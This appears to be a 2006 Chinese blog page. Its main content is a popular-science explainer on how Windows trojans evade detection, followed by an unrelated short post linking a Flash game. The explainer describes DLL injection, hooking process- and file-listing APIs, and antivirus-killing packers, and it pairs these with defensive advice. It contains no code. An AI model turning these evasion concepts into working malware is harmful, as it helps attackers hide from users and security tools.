  Windows中提供各种功能实现的接口称为Win32 API(Application Programming Interface,即“应用程序编程接口”),如一些程序需要对磁盘上的文件进行读写,就要先通过对相应的API(文件读写就要调用文件相关的API)发出调用请求,然后API根据程序在调用其函数时提供的参数(如读写文件就需要同时给出需要读写的文件的文件名及路径)来完成请求实现的功能,最后将调用结果(如写入文件成功,或读取文件失败等)返回给程序(见图3 应用程序、Win32 API、系统的关系图)。


  (3)使用远程线程函数(CreateRemoteThread)插入DLL

  在Windows 2000及以上的系统中提供了这个“远程进程”机制,可以通过一个系统API函数来向另一个进程中创建线程(插入DLL)。缺点很明显,仅支持Windows 2000及以上系统,在国内仍有相当多用户在使用Windows 98,所以采用这种进程插入方式的木马缺乏平台通用性。

  木马将自身作为DLL插入别的进程空间后,用查看进程的方式就无法找出木马的踪迹了,你能看到的仅仅是一些正常程序的进程,但木马却已经偷偷潜入其中了。解决的方法是使用支持“进程模块查看”的进程管理工具(如“Windows优化大师”提供的进程查看),木马的DLL模块就会现形了。

  不要相信自己的眼睛:恐怖的进程“蒸发”


  严格地来讲,这应该算是第2.5代的进程隐藏技术了,可是它却比前几种技术更为可怕得多。这种技术使得木马不必将自己插入到其他进程中,而可以直接消失!

  它通过Hook技术对系统中所有程序的进程检测相关API的调用进行了监控,“任务管理器”之所以能够显示出系统中所有的进程,也是因为其调用了EnumProcesses等进程相关的API函数,进程信息都包含在该函数的返回结果中,由发出调用请求的程序接收返回结果并进行处理(如“任务管理器”在接收到结果后就在进程列表中显示出来)。

  而木马由于事先对该API函数进行了Hook,所以在“任务管理器”(或其他调用了列举进程函数的程序)调用EnumProcesses函数时(此时的API函数充当了“内线”的角色),木马便得到了通知,并且在函数将结果(列出所有进程)返回给程序前,就已将自身的进程信息从返回结果中抹去了。就好比你正在看电视节目,却有人不知不觉中将电视接上了DVD,你在不知不觉中就被欺骗了。

  所以无论是“任务管理器”还是杀毒软件,想对这种木马的进程进行检测都是徒劳的。这种木马目前没有非常有效的查杀手段,只有在其运行前由杀毒软件检测到木马文件并阻止其病毒体的运行。当时还有一种技术是由木马程序将其自身的进程信息从Windows系统用以记录进程信息的“进程链表”中删除,这样进程管理工具就无法从“进程链表”中获得木马的进程信息了。但由于缺乏平台通用性而且在程序运行时有一些问题,所以没有被广泛采用。

  你知道吗——什么是Hook

  Hook是Windows中提供的一种用以替换DOS下“中断”的一种系统机制,中文译名为“挂钩”或“钩子”。在对特定的系统事件(包括上文中的特定API函数的调用事件)进行Hook后,一旦发生已Hook的事件,对该事件进行Hook的程序(如:木马)就会收到系统的通知,这时程序就能在第一时间对该事件做出响应(木马程序便抢在函数返回前对结果进行了修改)。

  毫无踪迹:全方位立体隐藏

  利用刚才介绍的Hook隐藏进程的手段,木马可以轻而易举地实现文件的隐藏,只需将Hook技术应用在文件相关的API函数上即可,这样无论是“资源管理器”还是杀毒软件都无法找出木马所在了。更令人吃惊的是,现在已经有木马(如:灰鸽子)利用该技术实现了文件和进程的隐藏。要防止这种木马最好的手段仍是利用杀毒软件在其运行前进行拦截。

  跟杀毒软件对着干:反杀毒软件外壳

  木马再狡猾,可是一旦被杀毒软件定义了特征码,在运行前就被拦截了。要躲过杀毒软件的追杀,很多木马就被加了壳,相当于给木马穿了件衣服,这样杀毒软件就认不出来了,但有部分杀毒软件会尝试对常用壳进行脱壳,然后再查杀(小样,别以为穿上件马夹我就不认识你了)。除了被动的隐藏外,最近还发现了能够主动和杀毒软件对着干的壳,木马在加了这种壳之后,一旦运行,则外壳先得到程序控制权,由其通过各种手段对系统中安装的杀毒软件进行破坏,最后在确认安全(杀毒软件的保护已被瓦解)后由壳释放包裹在自己“体内”的木马体并执行之。对付这种木马的方法是使用具有脱壳能力的杀毒软件对系统进行保护。

  你知道吗——什么是壳

  顾名思义,你可以很轻易地猜到,这是一种包在外面的东西。没错,壳能够将文件(比如EXE)包住,然后在文件被运行时,首先由壳获得控制权,然后释放并运行包裹着的文件体。很多壳能对自己包住的文件体进行加密,这样就可以防止杀毒软件的查杀。比如原先杀毒软件定义的该木马的特征是“12345”,如果发现某文件中含有这个特征,就认为该文件是木马,而带有加密功能的壳则会对文件体进行加密(如:原先的特征是“12345”,加密后变成了“54321”,这样杀毒软件当然不能靠文件特征进行检查了)。脱壳指的就是将文件外边的壳去除,恢复文件没有加壳前的状态。

5/10/2006

看你能跑多远

又一个很有意思的FLASH。 http://www.deviantart.com/deviation/40255643/
发挥你的聪明才智吧~

is that enough thanks?

很搞笑的FLASH,让我想起了小时候和小朋友斗嘴的样子
 

IT